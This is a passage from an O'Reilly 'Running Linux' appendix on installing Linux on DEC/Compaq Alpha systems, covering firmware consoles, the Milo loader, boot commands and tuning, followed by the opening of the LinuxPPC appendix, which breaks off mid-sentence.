A discussion of Alpha systems must cover years of hardware evolution from the older style UDB system to the current DS and AS series systems, as well as standard OEM configurations. Because there are so many different BIOS configurations and boot options, it's impossible to give detailed installation instructions for every type of Alpha system. We hope this discussion will be a guide to help users who are new to the Alpha architecture understand what to do when installing a new system.

NOTE

This discussion does not cover VAX, MIPS, AMD, or Intel CPU-based systems or hardware that share peripheral and packaging technologies with Alpha-based systems. We will focus only on the installation of Linux on Alpha systems and components manufactured by Compaq or licensees of Alpha technology, such as Samsung Semiconductor USA or Mitsubishi Semiconductor.

C.1. Alpha History and Status

In 1992, Digital Equipment Corporation, also known as DEC or Digital, introduced the Alpha with support for seven hardware platforms, three operating systems, multiple networking protocols, and multiple language compilers.

The Alpha constitutes the largest engineering project ever undertaken by Digital, involving more than 30 engineering groups spread across 10 countries. It was not the first RISC-based semiconductor that Digital produced, but it was the first that Digital decided to sell in the open market. Digital Semiconductor (DS) was created as an internal business group to manufacture, sell, and distribute Digital's semiconductors on the merchant market.

To keep up with demand and evolving semiconductor manufacturing technology, Digital outsourced manufacturing of the Alpha semiconductor, which included agreements with Samsung Electronics and Mitsubishi Electric to manufacturer current and future implementations of the Alpha semiconductors. In addition, the agreements granted Samsung and Mitsubishi licenses to market, sell, and distribute Alpha semiconductors worldwide and included joint development projects related to the Alpha semiconductor family.

The relatively small installed base of Alpha systems and the fact that most existing systems are "development platforms" that allow tinkering and tuning supported by massive archives of hardware documentation have encouraged continued development of Alpha chipsets. However, it also makes it hard for Linux developers to gather the wide range of systems under one simple installation procedure.

Compaq had its eyes set on having its own enterprise server architecture and operating system--an alternative to Microsoft and Intel. On January 26, 1998, Digital and the Compaq Computer Corporation announced a $9.6 billion-dollar merger where Digital became a wholly owned subsidiary of Compaq. DS came with the multibillion dollar package, and the name Digital was absorbed into Compaq as a brand name.

To summarize, Alpha architecture is a superscaler, open-industry standard, 64-bit, RISC-based architecture that is engineered by Compaq and manufactured in volume by Samsung, Mitsubishi, and their subsidiaries.

Previous | Home | Next
B.8. How Can You Help with GNOME? | Book Index | C.2. The Linux Port
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The Linux Port (Running Linux)

 Running LinuxSearch this book
Previous Next

C.2. The Linux Port

The Alpha port of Linux did not happen overnight. It began as a rather humble patch to the Linux kernel. The first kernel patch was developed with funding and support from Digital. Even with all the patches to the kernel, most of the drivers and "userland" of distributions were not "64-bit clean." The mainstream kernel itself was not 64-bit clean until the 2.1.x development kernels. When development work on the 2.1.x kernels began, the Alpha port was adopted directly into the Linux kernel source tree. At this stage, the Alpha port of the Linux kernel was supported directly by the mainstream kernel distributions.

During the development efforts of the 2.1.x kernel, the Linux kernel and its drivers were made 64-bit clean. Most of the unaligned traps in the kernel were corrected, and the userland became much more 64-bit aware. At this time, Red Hat Software, Inc., quickly saw that 64-bit architecture was the direction of the semiconductor market and released a full Alpha port of their Linux distribution, Red Hat Linux 2.1. Other distributions followed, including Debian and SuSE. The distributions are described in the following list:

Debian

The Debian Linux distribution is the "official" Free Software Foundation GNU/Linux distribution, providing extensive GNU software solutions by preference when choices are available. A vendor-packaged GNU/Linux distribution is under development by Stampede Software and has a full Alpha port. See http://www.debian.org or http://www.stampede.com.

Red Hat

Red Hat Software, Inc. puts together one of the larger distributions of Linux. It supports many useful features such as RPM for package management and has a full Alpha port of all of its current releases. See http://www.redhat.com.

SuSE

SuSE's Linux distributions are developed with attention to internationalization needs and graphics interface support. (SuSE is sensitive to European market needs.) SuSE also uses RPM to provide updates and has a full Alpha port. See http://www.suse.com.

Previous | Home | Next
C. Installing Linux on Digital/ Compaq Alpha Systems | Book Index | C.3. Identifying Your Alpha System
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Identifying Your Alpha System (Running Linux)

 Running LinuxSearch this book
Previous Next

C.3. Identifying Your Alpha System

There are many different Alpha systems, each requiring different installation methods. Because different Linux kernels are compiled to meet these variations in CPU and system designs, you must identify your Alpha hardware to correctly choose boot disks and kernel disks for various distributions.

Before you install an operating system, you must know the machine's graphics options and audio components, system memory, CPU class, disk-drive interfaces and sizes, existing operating systems/filesystems (if any), and attached peripherals, especially any CD-ROM drive and floppy drives. Some Alpha systems require firmware configuration changes and even actual hardware changes to complete a Linux installation.

Which Linux distribution you choose to install may depend on the hardware you have and any other operating systems that you run on it. After you gather your hardware information, you can determine which distribution best suits your needs. You can always build any source packages from other installations once you have a bootable system. Here are a few examples of hardware factors that dictate your choice of distribution or method of installation:

  • Some Alpha systems require setting jumpers to load Linux and install it as a native, firmware-bootable operating system.

  • If your system has no floppy disk drive, you may not be able to install the Linux distribution you want on your system, because of firmware constraints in supporting filesystems and devices on systems that do not have floppy disk devices. We recommend that you install or attach a floppy drive to your system. If your system's floppy drive simply "died," it's very inexpensive to replace.[3]

    [3]Even the extra-thin 3.5 inch floppy used in the older Multia and Alphabook 1 "systems" can be replaced with a standard laptop drive. On newer Alpha systems hardware, most hardware is interchangeable with standard OEM PC hardware.

  • If your Linux installation shares the computer with another operating system (installed on different hard-disk partitions or different hard disks), different versions of Linux offer different levels of filesystem and utility compatibility with co-resident operating systems. For example, if you want to run Tru64 Unix (Digital Unix, or DU) on your system as well as the Debian Linux Alpha distribution, their default disk filesystem, partitioning, and labeling would conflict. Likewise, if you apply BSD-style disk labeling from Linux, that partition will not be accepted as valid by DU. If you want to set up Linux co-resident with another operating system on an Alpha system, the safest way is to partition the disk from within that operating system and define the partition for Linux to be installed to.

  • The Linux fdisk utility fails to label DOSFS filesystems so that SRM and other firmware utilities will access them. Therefore, as a general rule, format your MS-DOS diskettes for configuring your system using MS-DOS or Windows NT (or buy preformatted MS-DOS diskettes).

  • The first time you install Linux on older machines (especially UDB/Multias), your installation may fail if your system's internal battery is not charged. Reports of motherboards shipped from a vendor with a dead battery are common. Some systems have a rechargeable battery that nevertheless will not recharge on a powered-up system if the battery is discharged when the system is turned on. For instance, the monitor will not work, and firmware changes that you need to complete a self-booting installation will not be saved.

Once you have gathered your hardware data and selected your Linux distribution, choose your installation method. Alpha systems vary more than typical PC systems (having been engineered to be used as everything from basic display terminals to supercomputers), so you should evaluate your hardware and choose the booting method you will use with your Linux distribution. Otherwise, you may find that you cannot complete the installation as you expected, or that Linux will be difficult to boot without rebuilding the installation.

Most Alpha installations use Milo, which is the easiest and most reliable method for installing Linux. The Milo utility is a mini-kernel that shares some of the same low-level PALcode (the language in which the firmware of an Alpha system is written) with the Linux kernel. Milo passes its hardware configuration definitions to Linux when it bootstraps the kernel, and Linux uses those definitions to interface with the PALcode segment that is co-resident in system memory with the Linux kernel. While there are alternatives to the Milo miniloader, you cannot use the usual Intel Linux boot management utilities to prepare an Alpha system for Linux installation, because they cannot provide the necessary firmware interface support.

If you add a CD-ROM drive to your system to install Linux, check your hardware documentation and Linux package documentation to determine that the CD-ROM will be recognized natively in the BIOS or that your Milo loader will support that drive. Standard SCSI CD-ROM drives are supported by Milo using integral SCSI controllers and several popular add-on controllers,[4] and an ATAPI(EIDE) CD-ROM is supported for some systems, especially those with a built-in ATAPI controller. But if the CD-ROM drive is not accessible as a native drive expected on a particular system, your system firmware or the Milo miniloader that bootstraps the Linux kernel may not recognize it.

[4]The current Red Hat distribution of Milo recognizes the NCR 810 family of SCSI controllers; Adaptec1740, 2940, and 3940 series SCSI controllers; and QLOGIC ISP controllers. The Milo SHOW command causes Milo to display a list of its supported devices.

Although network installation of Linux (storing the files on one machine and downloading them over the network to the machine where you want Linux to run) should be possible, major distributions have had persistent problems supporting this capability. We are not going to describe the technique. We assume you are installing Linux on a stand-alone Alpha system. You can configure it for network use later.

NOTE

Configuring and setting booting behavior on some older Alpha systems requires changing jumper settings on the motherboard or changing system data stored in nonvolatile RAM, or both. You may need to change jumper settings initially for installation and again afterward to configure the system.

In typical Linux CD-ROM installation, you generally proceed as follows:

  1. Collect system hardware information to select the correct installation files and procedures. Look at your system hardware manuals or system administration manuals. Get bug reports and review patches to the current software distribution that you will use to install your package. Collect current software installation documentation if you believe the information provided by the vendor is obsolete or incomplete.

  2. Consider the size of your hard-disk drives and decide how they are (or will be) partitioned for Linux. "Section 3.1.2, "Drives and Partitions Under Linux"" in Chapter 3, "Installation and Initial Configuration", offers basic considerations for allocating disk space and partitioning, although you must adjust the numbers for Alpha. The installation utilities that you choose will support one or another disk-partitioning method, but cannot be used for all partitioning requirements.

  3. Determine how you want Linux to boot when the installation is complete. This may affect your choice of installation method.

  4. Choose your Linux installation method based on your hardware and its firmware, your disk-partitioning requirements, and Linux's booting behavior. For almost all installations, we think that Milo is the best firmware utility for loading Linux.

  5. Create the correct data diskettes (Milo, kernel image, and ramdisk image) diskettes for your system.

  6. Configure your system hardware as needed to support the installation of Linux.

  7. If you use the usual Milo installation procedure, create the correct Milo image diskette for your system.

  8. Power up the system, access its console (older systems use ARC, while newer ones use AlphaBIOS or SRM as described later), and load your Linux loader (usually the LINLOAD.EXE program, which is then used to load Milo). If you have Windows NT installed on your system, you can use the NT OSloader to load Milo; otherwise you will use system firmware to load a bootstrap loader that will then be used to prepare the system to install Linux.

  9. Load Milo, use Milo to boot the kernel, and run the CD-ROM installation program.

  10. Perform any additional disk partitioning and formatting for your system booting requirements.

  11. Load additional Linux utilities, applications, compilers, and programming languages or libraries. Recompiling a current, stable release of the Linux kernel tailored to your system requirements is highly recommended.

  12. When you are happy with your Linux installation, set it up to autoboot or boot from a boot manager selection menu. For some older systems, this may also require setting jumpers. Most systems require changes in the firmware console or installation of a bootstrap program (probably a Milo version) in system nonvolatile RAM.

An alternate procedure is required for those systems that Milo cannot configure; these alternatives are dependent on your system configuration and maintenance firmware. Like other systems, each Alpha contains at least one firmware program stored in system ROM or flash ROM that provides a configuration-program execution environment. Systems set up for Tru64 Unix or Open VMS have a System Reference Maintenance console or SRM. Systems set up for Windows NT usually have the Alpha Reference Console (ARC) firmware. Newer systems may have an AlphaBIOS instead of ARC; SRM is usually provided if the system was sold with DU.

NOTE

Firmware programs are small and efficient. Alpha system ROMs typically include space to hold several of them, along with other essential programs, such as debugging and diagnostic tools (which should not be overwritten).

Once Linux is installed, many systems provide a flash-RAM management utility (FMU) to allow you to "blow" a Milo image into system nonvolatile RAM. Other such utilities may come with your purchase of a commercial OS release or a developer package. Some are distributed on an EPROM chip that you install. Because ARC and AlphaBIOS firmware provide a graphical interface environment, they take more space, and you will not find both of them on a standard system. AlphaBIOS is a replacement for ARC that attempts to make OS installation on Alpha systems more uniform and automatic--more like OS installation on an Intel-architectured PC.

Booting Linux can be made as automatic as booting MS-DOS or Windows. We do not recommend that you use an FMU until you are satisfied with your tuned-up Linux installation.

Because all systems that are configured to run Windows NT are provided with a floppy drive that Milo can use to install Linux, the two main installation paths involve Milo (and ARC or AlphaBIOS), SRM and Milo, or other loader utilities. We focus on Milo-based installation methods for consistent and predictable results and offer an installation solution for any significant Alpha platform. If you do not like the specific solution that we describe, you will learn about other installation options as you review your resource materials.

C.3.1. Limitations of ARC Firmware

Most older systems have ARC firmware to set up hardware configurations, specify boot options, and perform other system maintenance tasks. This firmware is the usual starting point for installing Linux. It has several limitations. It knows how to access files only in MS-DOS, HPFS, and ISO9660 filesystems. When accessing files in MS-DOS or ISO9660, the system only recognizes 8.3 filenames. ARC offers a simple menu-driven console interface for managing your system hardware.

C.3.2. Limitations of AlphaBIOS Firmware

Newer systems use AlphaBIOS firmware instead of ARC. AlphaBIOS firmware is still in active development. If your system has AlphaBIOS, install the latest AlphaBIOS firmware update before installing Linux. AlphaBIOS knows how to access files only in MS-DOS and ISO9660 filesystems. When accessing files, the system only recognizes 8.3 filenames. AlphaBIOS implements a graphical interface for system configuration.

C.3.3. Limitations of the SRM Console Firmware

The SRM console can load data from IDE/ATAPI, SCSI, or floppy drives. It uses a system's native SCSI drive controller to access a recognized SCSI device for booting. SRM can read a SCSI floppy drive. SRM can access authentic MS-DOS-format filesystems (but not those created by Linux fdisk), BSD-labeled UFS filesystems (but not BSD-style filesystems labeled by Linux), and ISO9660 filesystems. An SRM console is available firmware for any system that does not provide or have ARC or AlphaBIOS.

The SRM console allows you to boot the system by transferring control to the secondary bootstrap loader that it loads blindly. SRM knows little about disk partitions or filesystems and treats disk devices as block devices. It reads from the first 512-byte sector of the storage device. This sector should contain a sector address and offset from which SRM can begin reading the size of data block. SRM goes to that location and loads contiguous data into memory. The data should be an image file of the secondary loader that boots the system.

Alpha systems usually have two secondary waders: the "raw" loader from the Linux kernel and the separate aboot utility. The aboot utility is more flexible than the raw loader if you must install Linux using the SRM console. However, you can use the SRM console to load the Milo loader for a more consistent installation procedure. Some machines do not currently have a MILO available (DS20), so, in those cases, using SRM and a secondary boot loader is mandatory.

When you use SRM and aboot to boot Linux, the first partition of the disk should start at cylinder number 2. This leaves room at the beginning of the disk to install aboot. The third partition on the disk (partition C) should be the entire size of the disk, from cylinder 1 to the end. The SRM Howto provides more information for those who will install using SRM and aboot at http://www.alphalinux.org/faq/srm.html.

C.3.4. Limitations of Milo Miniloader

The Milo miniloader does not know how to boot itself from disk before booting Linux; it must be initially loaded either from system flash memory or from disk using an operating system loader (OSloader) developed for Alpha systems, such as Windows NT Alpha's boot manager. Linux distributions provide linload.exe.

When Milo is loaded from disk, it is bootstrap-loaded by ARC, AlphaBIOS, or SRM console after you use linload.exe. linload.exe knows MS-DOS (FAT) filesystems, but does not recognize HPFS or VMS filesystems. Milo is apparently limited to MS-DOS, ISO9660, and ext2 filesystems when it has been loaded by linload.exe.

Milo will read ext2 filesystems by default and can load operating system images in ISO9660 or MS-DOS (FAT) formats using a command-line option. Milo should load compressed kernel image files made using gzip, if given the full filename (e.g., vmlinux.gz), but we have found that at least some Milo distributions cannot process such files, at least not when loaded from ISO9660 or MS-DOS filesystems. For more information go to http://www.alphalinux.org/faq/milo.html.

Previous | Home | Next
C.2. The Linux Port | Book Index | C.4. Collecting System Hardware Information
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Collecting System Hardware Information (Running Linux)

 Running LinuxSearch this book
Previous Next

C.4. Collecting System Hardware Information

Before you choose a Linux distribution, use the considerable resources about Linux and Alpha on the Internet. Indeed, a wealth of detailed hardware information about Alpha chips and platforms designed to support it are available for downloading and printing, including generously supplied technical manuals that would be expensive to purchase (or unavailable) through marketing channels. Be aware that much useful documentation may be supplied by a different vendor than the manufacturer of your CPU or system and from other distribution resources as well.

C.4.1. Sources of Information

Following is a partial list of important Internet sources for Alpha hardware information and information about installing Linux on Alpha systems.

C.4.1.1. AlphaLinux sites

The AlphaLinux Organization

The Official AlphaLinux web site is at http://www.alphalinux.org.

The Digital Alpha OEM site

This site is home for a lot of information about Alpha OEM products (including technical information). It's located at http://www.digital.com/alphaoem/.

The Compaq AlphaLinux web site

This site contains interesting information on the use of Linux on Alpha hardware. It's at http://www.unix.digital.com/linux/.

C.4.1.2. AlphaLinux mailing lists

AXP-List from RedHat

Send email to the following address and type subscribe into the subject line: axp-list-request@redhat.com.

Debian Alpha mailing list

Send email to the following address and type subscribe into the body: debian-alpha-request@lists.debian.org.

C.4.1.3. AlphaLinux FTP sites

The official AlphaLinux FTP site

This site is located at ftp://ftp.alphalinux.org.

The digital FTP site

This site is located at ftp://gatekeeper.dec.com.

C.4.2. CPU, Support Chipset, Board, and System Identification

There are four classes of Alpha CPU: the 21064, 21066, 21164, and 21264. The 21064 and 21066 classes are both first-generation Alpha architectures, but the 21066 incorporates functions normally supplied on support chips into the CPU itself, creating distinctive platform characteristics and requirements. The 21164 and 21264 classes represent second- and third-generation chip architectures, respectively. Various chip architectures have been coupled with different system busses and interfaces, which subdivide the CPU types into different families of Alpha computers from desktop systems to supercomputing clusters.[5]

[5]We will not discuss embedded systems and display terminal uses of Alpha CPUs here.

For purposes of installing Linux from a CD-ROM distribution, the subdivisions differ in the support that the Linux kernel provides for the features of the chips and in system assemblies and interfaces that use those features. If you cannot boot a kernel that appears to match your system, try a similar kernel from a related system or try a generic kernel. And, if that does not work, go to the AlphaLinux FTP site and try an earlier kernel or a later, developmental kernel. For the most part, however, your installation should be straightforward if you have selected the right image files to load and install Linux.

The subclass your system falls into determines whether you follow a routine Linux diskette-load installation procedure or use an alternative procedure. Even the routine AlphaLinux installation procedure is more complex than a Linux installation on the usual Intel PC. While the Intel PC provides the system hardware interface in the onboard BIOS, Alpha systems require that the system bootstrap itself by defining and loading a firmware interface before loading the operating system. For our installation purposes, we must usually use a firmware console that is resident on the system to load Milo (or another miniloader), which then loads Linux on the system.

Different Alpha systems offer the following console software:

  • If the firmware was configured for Tru64 Unix or Open VMS, the system will have the SRM command-line console. The only exceptions are systems based around the UX motherboard, which have their own ARCS BIOSfirmware.

  • If the firmware was configured for Windows NT, the system will have the ARC menu-interface console or AlphaBIOS graphical user interface console.

Some systems have more than one firmware console interface,[6] and most systems also have additional methods of bootstrapping an OS in firmware.

[6]SRM console firmware for Multia, AlphaStation, AlphaServer, AlphaPC164, and AXPpcisystems from ftp://gatekeeper.dec.com or http//ftp.digital.com/pub/DEC/Alpha/firmware. The SRM is described in an online manual at ftp://ftp.digital.com/pub/Digital/info/semiconductor/literature/srmcons.pdf.

The standard firmware is initially loaded by accessing a system console when the system is booted and instructing it to load a Milo from diskette. Then the current Milo miniloader image is loaded from diskette, and it in turn is told to load the Linux kernel from the CD-ROM or boot diskette.

While you can get by using a slightly old Red Hat Milo for your hardware with the latest Red Hat Linux, you could not use a NetBSD Milo image (based on DU PALcode) or a Milo image prepared for a very different Alpha system. Milo must be compatible with the system firmware used to load it as well as the Linux kernel that it loads. For instance, a Milo designed for ARC may not work if loaded with SRM even if it is for the correct system. Sometimes system firmware must be updated before using it to load the Milo image into memory. AlphaBIOS firmware, in particular, is updated frequently, and if your system uses AlphaBIOS you should assume that you need to update it before installing Linux. Your CD-ROM distribution may contain images for updated AlphaBIOS, ARC, or SRM firmware, if there is a known need for the updated version.

Previous | Home | Next
C.3. Identifying Your Alpha System | Book Index | C.5. Preparing for Installation of Linux Alpha
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Preparing for Installation of Linux Alpha (Running Linux)

 Running LinuxSearch this book
Previous Next

C.5. Preparing for Installation of Linux Alpha

We can now return to the steps we listed earlier to get Linux running. You must also decide how you want your Alpha to boot after Linux is installed and configured; Alpha systems support a number of alternatives.

C.5.1. Minimum Hardware

You can run Linux on Alpha systems using as little as 8 MB of RAM, but most installation programs, like the Red Hat installer, require a minimum of 32 MB. The mininum disk space for the installation is 170 MB. To run the full X Window System and a desktop comfortably and have adequate storage for applications, you need a minimum of 16 MB RAM and 500 MB of hard-disk storage.

Many users of more recent Linux distributions have found that 24 MB or 32 MB of RAM is required to complete the installation. While it should still require no more than 16 MB to run Linux on a properly configured Alpha system (with a kernel compiled to support just that system's features), you may need more memory to install some distributions. An alternative is to install an earlier, smaller kernel.

Installation takes a huge amount of RAM because of the combined memory requirements of the bootstrap loader and Milo and the loading Linux kernel image, not because of the memory requirements of the Linux kernel itself. If you cannot complete your initial installation, you can also try to use an earlier and smaller Milo to boot your Linux distribution or a Milo that has been stored in nonvolatile RAM. You can select compact applications to conserve memory and storage. For more information, see http://www.alphalinux.org.

C.5.2. IDE/ATAPI Drive Support

Some Alpha systems, especially those intended for use as network servers, do not support IDE or ATAPI drives.[7] We recommend a fast SCSI drive as a basic system element, whether installed internally or attached externally. However, if your system has a free PCI slot, add a current PCIbus ATAPI/EIDE controller card supported by Linux so that you can also use a cheaper EIDE hard disk or fast CD-ROM drive. See the next section for more details on firmware limitations.

[7]Early Alpha systems provided 10 mbps SCSI-2, and some of the latest Alpha system boards provide "fast and wide" 40 mbps SCSI-3. The very earliest (Jensen) provided an Adaptec 1740 ISA bus controller, but most SCSI controllers are integral NCR 810 family controllers that were considered high-performance controllers when adopted.

C.5.3. Firmware/BIOS Peripheral Device Support

Alpha systems recognize a number of peripheral devices through a configurable native Alpha system BIOS. The devices recognized vary, depending on whether the system was initially set up to run Windows NT, DU, or VMS.

Milo incorporates code from the original Windows NT firmware console for Windows NT systems, and ARC. An SRM console is provided for DU and VMS systems. If you install Linux using default system devices, you shouldn't have problems, but if you need to tailor the system to support your input device, you will find installation more complex. One list of supported peripherals in current Alpha systems is the "Hardware Compatibility List" in Samsung Semiconductor's Alpha Resource Book, found at http://www.samsungsemi.com/Products/alpha/alpha-page1.html.

If your system was set up for VMS, install system firmware for Windows NT or DU before installing Linux. Any SRM firmware from VMS should be replaced by SRM firmware for DU.

C.5.4. Updated Firmware

Your system firmware (ARC, AlphaBIOS, or SRM) should be up to date. In many cases, it won't matter whether it is an older version. But generally, we recommend updating your firmware before installing Linux. In the case of AlphaBIOS software, updating is expected and necessary.

Follow your hardware manual's directions for upgrading firmware. You can get firmware upgrades from http://ftp.digital.com/pub/DEC/Alpha/firmware/.

Some users advise you not to update firmware unless you know you need to do so. In other words, you can upgrade firmware if Linux fails to install properly on your system. Indeed, some Linux installations require some systems to be "downgraded" to an earlier firmware version to succeed.

C.5.5. Mice and Serial Ports

A commonly reported problem in Linux installations is connecting a serial mouse to the system. Some Linux installation programs map device definitions to the serial ports incorrectly during kernel configuration. Most of these complaints involve autodetection of a mouse installed on the first serial port. We recommend that you install a three-button PS/2-type mouse, if your system has a PS/2 hardware port rather than a serial mouse. Moreover, do not put a modem on serial port 1 as Milo will echo its output to serial port 1 and this can cause some strange results.

Previous | Home | Next
C.4. Collecting System Hardware Information | Book Index | C.6. Installing Linux
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Installing Linux (Running Linux)

 Running LinuxSearch this book
Previous Next

C.6. Installing Linux

Okay, you have collected your hardware manuals and selected the Linux distribution to install (one that meets your requirements based on the hardware you have). You should probably have at least a hardware manual for your system, which will describe hardware configuration and the use of the firmware consoles for your system, as well as provide useful error codes and diagnostics if there are difficulties. There will be an appendix near the end of each of Digital's system or evaluation board manuals that lists related documents, some of which are also useful. The document numbers will identify the files that you want from the Alpha library archive.

There are web sites providing FAQ files and other useful information for some specific Alpha systems as well.

You should also have the installation documents and addenda for your CD-ROM installation and information regarding any bugs and fixes for the distribution you are installing. Where your documentation is incomplete or describes a generic Linux installation, rather than the specific Linux Alpha installation, you may want to use the following sequence as a guide for installation.

C.6.1. Preparing Software for Installation

Check the web site of the company that provided your CD-ROM distribution for bug reports, patches, and later versions of the software version you are installing. Also check the AlphaLinux web site for independent verification of bug fixes and patches. Check Compaq's "System and Software and Driver Updates" web page for updated (Windows NT) software and drivers for your system at http://ftp.digital.com/pub/DEC/Alpha/firmware/. In particular, if your system uses AlphaBIOS, make sure you have the latest version, which you can get from the previously listed web page.

Check the AlphaLinux FTP site for updates in firmware that you need.

Create the failsafe recovery diskette, which is a linear-format block-data disk from an image file using an MS-DOS system and RAWRITE.EXE. This is a reserve parachute on your installation journey. If your ARC or SRM firmware needs updating, you can retrieve the files from the same location.

Next, make the three boot diskettes that you need for the Linux installation. To determine what diskette you may need for booting, visit the chart located on the Compaq FTP site at:

ftp://gatekeeper.dec.com/pub/DEC/Linux-Alpha/Kernels/systypes.txt

You can make the diskettes on an IBM PC/MS-DOS system by invoking RAWRITE.EXE to create image file disks or using dd under Unix.

C.6.2. Preparing Hardware for Installation

The key issues here are disk-drive partitions and filesystems and supported video adapters. During disk configuration, we recommend that you use basic fdisk tools for reliability rather than use a GUI-based utility.

Your hardware manual will assist you in any required troubleshooting, such as providing beep code definitions. The UDB, for example, has a diagnostic LED character array that flashes a number or letter if a necessary firmware program in nonvolatile RAM (NV-RAM) or system ROM (SROM) error is detected on system boot.

If your system has been idle for some time, make sure that the cooling fans are working, too. Overheating your system in the middle of firmware reconfiguration would be particularly annoying.

C.6.3. Booting the Alpha System and Preparing to Load Milo

Because we cannot possibly cover all BIOS configurations in this book, we will give pointers on where to find detailed installation and configuration information for each type of firmware used with Milo.

Firmware | Location of Information
ARC Console | http://www.alphalinux.org/faq/alphabios-howto.html
AlphaBIOS | http://www.alphalinux.org/faq/alphabios-howto.html
SRM | http://www.alphalinux.org/faq/srm.html

C.6.4. Loading Milo and the Linux Boot Kernel

After you have successfully configured your BIOS to load Milo, you will see the Milo prompt. Because Milo is a microkernel, it has many options you may want to explore before bootstrapping the Linux kernel.

You should see the following Milo prompt:

MILO>

To see Milo options, enter Milo's help command:

MILO> help

To see how Milo has set up, what devices it knows, and the filesystems that it recognizes, enter the show command:

MILO> show

If everything looks fine, you can continue with the installation and load Linux from the prepared Linux kernel image.

Bootstrapping the kernel is very straightforward--you can do it in one command:

  1. To load the Linux kernel from the first disk drive, type the following:

    MILO> boot fd0:vmlinux.gz root=/dev/fd0 load_ramdisk=1
    Note that this assumes you use the floppy image file that you prepared from a disk image file; Milo assumes an ext2 partition by default and that fd0 is the correct floppy drive. If you wanted to boot from an MS-DOS-formatted disk, such as the alternate disk previously prepared, you could enter:
    MILO> boot fd0 -t msdos -fi vmlinux.gz load_ramdisk=1

  2. Insert the ramdisk floppy when prompted.

  3. Run your CD-ROM distribution's installation and configuration program.

  4. After you finish installation, install Milo on a small disk partition on your machine to use for reconfiguring. If you want Milo to be able to load on booting, this partition must be a primary MS-DOS partition. You can create it using MS-DOS's or Window NT's fdisk.

Previous | Home | Next
C.5. Preparing for Installation of Linux Alpha | Book Index | C.7. Tuning and Post-Installation Considerations
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Tuning and Post-Installation Considerations (Running Linux)

 Running LinuxSearch this book
Previous Next

C.7. Tuning and Post-Installation Considerations

Linux should now boot and work adequately. However, we recommend several enhancements.

C.7.1. Kernel Tuning

Once you have completed the installation, compile your own kernel, because the kernel shipped with your distribution probably contains more device drivers than you need. You can find information on compiling a kernel at the AlphaLinux web site (http://www.alphalinux.org ), as well as in the kernel Howto (available from any Linux archive site).

C.7.2. Performance and Library Tuning

To increase the performance of AlphaLinux, you can replace the standard math libraries with the Compaq Portable Math Library (CPML). The CPML is identical in content to the Compaq Tru64 Unix libm and replaces the AlphaLinux libm directly. For more information on the CPML, visit:

 http://www.unix.digital.com/linux/cpml.htm.

A good resource for AlphaLinux performance tuning is available at:

http://cyclone.ncsa.uiuc.edu/ PCA/PerformanceTuning.html

C.7.3. Binary Emulation

AlphaLinux is mostly binary compatible with Tru64 Unix (Digital Unix or DU); however, not all the system calls have been implemented. To run Tru64 Unix binaries on AlphaLinux, you need some of the shared libraries from Tru64 Unix, which requires a legal license of Tru64 Unix. More detailed explanation on how to set this up can be found in the AlphaLinux FAQ at http://www.alphalinux.org/faq/FAQ.html.

AlphaLinux can also execute i386 Linux binaries through a program called em86. Information on this is also available in the AlphaLinux FAQ. Please note that patching the kernel is no longer necessary, although you must compile in support for i386 binaries when building the kernel.

C.7.4. Graphical Browser Considerations

Netscape has not ported the Netscape Communicator to AlphaLinux. But do not despair, because with binary emulation for x86 andTru64 Unix, the x86 and Tru64 native binaries will run on AlphaLinux.

The Mozilla browser is also an alternative. Information on Mozilla and other browser options can be found at http://www.alphalinux.org/software.

Some other options available are the KDE file manager from the K desktop environment (http://www.kde.org ). If your Linux installation's port is not useable, a fairly stable earlier binary is available at ftp://www.netstat.ne.jp/pub/Linux/Linux-Alpha-JP/Mozilla/mozilla-19981008-2/

Previous | Home | Next
C.6. Installing Linux | Book Index | D. LinuxPPC: Installing Linux on PowerPC Computers
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


LinuxPPC: Installing Linux on PowerPC Computers (Running Linux)

 Book Home Running LinuxSearch this book
Previous Next

Appendix D. LinuxPPC: Installing Linux on PowerPC Computers

By Jason Haas

Contents:

Compatible Hardware
Kernel and Library Issues
Preparing to Boot LinuxPPC
Using the Red Hat Installer
Post-Installation: Setting Up the BootX Software
Getting Hardware to Do What You Want It to Do

Linux/PPC is the native port of the Linux operating system to the PowerPC processor. The effort to port Linux to PowerPC began in 1995 by Gary Thomas, and Australian developer Paul Mackerras initiated work on porting Linux to the Power Macintosh hardware. Linux now runs on almost every implementation of the PowerPC processor, including the 60x and 750, and the less-known 840 and 860 processors.

While the Linux port itself is called Linux/PPC (note the slash in the name), the most popular distribution, and the company maintaining the distribution, are called LinuxPPC (no slash). In this appendix, I provide information about the general port as much as possible, but some details will change in the next release (5.0) of LinuxPPC in any case.

Linux on PowerPC has become popular in the past two years as Mac OS users have started to search for alternatives to the Mac OS. For one thing, it's fast. When people install Linux, they're amazed at how fast their Macs really are. Linux can turn an old PowerMac 7500 into a responsive and capable machine, and it really unleashes 604 and 750 (G3) machines. It's also quite stable. When a Linux application crashes, it doesn't crash the OS as well.

And then there's multitasking. Linux can run a lot of programs at the same time and not slow down. When you click on a menu in the Mac OS, everything stops until you release the mouse button. The Mac OS can't do anything but draw that menu. A Mac OS-based web server that I used to administer was disabled overnight because of this. When the mouse button was unstuck the next morning, the server promptly crashed when the listserver tried to process all of the backlogged email messages that had accumulated overnight. All this because of the mouse button being stuck! (Linux has no such problems with the mouse buttons.)

Another excellent example of the benefits of Linux multitasking: Photoshop can run only one filter at a time. And the whole Mac is tied up in running the filter. LinuxPPC ships with a Photoshop-like graphics application called The GIMP. Unlike Photoshop, GIMP can execute several filters simultaneously, and you can switch to other applications and keep working while GIMP runs the filters. (You can even hold down the mouse button.)

The most popular distribution for the PowerPC is called LinuxPPC (without the slash), which is developed and sold by LinuxPPC, Inc. You can order LinuxPPC on CD-ROM from http://www.linuxppc.org.

Another Linux distribution that is popular among very advanced Linux users is called Debian. The Debian for the PowerPC distribution is not as polished as the LinuxPPC Inc. distribution and is not available on CD-ROM. However, users who are familiar with Debian for other platforms may wish to use it. The Debian GNU/Linux web site, http://www.debian.org /ports/powerpc/, should provide up-to-date information about the status of the Debian project. The instructions for installing Debian GNU/Linux on top of a base LinuxPPC are available from:

